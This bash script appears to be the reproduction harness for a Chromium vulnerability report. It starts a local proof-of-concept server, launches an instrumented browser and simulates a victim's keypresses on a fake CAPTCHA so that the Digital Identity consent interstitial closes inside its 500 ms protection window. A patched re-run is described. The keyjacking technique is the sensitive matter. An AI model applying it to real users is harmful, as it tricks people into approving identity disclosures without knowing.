#!/bin/bash
# Reproduce the Digital Identity interstitial keyjacking bypass.
#
# 1.  Starts an HTTP server for poc.html (localhost = secure context).
# 2.  Launches a fresh Chrome profile pointed at the POC page.
# 3.  Runs victim_keystrokes.py, which finds & activates *our* Chrome
#     window and uses XTEST to press Return a few times ~180 ms apart -
#     i.e. a human typing into the fake CAPTCHA.
# 4.  Captures Chrome's stderr.  With instrumentation.patch applied you
#     will see the InputEventActivationProtector "BYPASS time-gate" line
#     and the interstitial closing with reason=kOkButton inside the 500 ms
#     protection window.
#
# Re-run after applying bandaid-fix.patch to see the key events being
# SUPPRESSED by the time-gate instead.

set -euo pipefail
HERE="$(cd "$(dirname "$0")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PROFILE="$(mktemp -d /tmp/di-keyjack.XXXXXX)"
LOG="${LOG:-$HERE/chrome_stderr.log}"

cleanup() {
  kill "${SRV_PID:-0}" 2>/dev/null || true
  kill "${CHROME_PID:-0}" 2>/dev/null || true
  wait 2>/dev/null || true
  rm -rf "$PROFILE" 2>/dev/null || true
}
trap cleanup EXIT

echo "[*] starting POC HTTP server"
python3 "$HERE/server.py" >/dev/null 2>&1 &
SRV_PID=$!
sleep 1

echo "[*] launching Chrome (profile=$PROFILE) -> http://localhost:18347/poc.html"
rm -f "$LOG"
"$CHROME" \
  --no-first-run --no-default-browser-check --no-sandbox \
  --user-data-dir="$PROFILE" \
  --disable-gpu \
  --disable-field-trial-config \
  --enable-logging=stderr \
  --window-position=0,0 --window-size=1200,900 \
  http://localhost:18347/poc.html \
  >"$LOG" 2>&1 &
CHROME_PID=$!

python3 "$HERE/victim_keystrokes.py" "$PROFILE" 0.18 14

sleep 4
echo
echo "================ POC log lines ================"
grep -E 'POC\||CONSOLE' "$LOG" || \
  echo "(no POC log lines - did you apply instrumentation.patch?)"
echo "==============================================="
echo "[*] full Chrome stderr saved to $LOG"
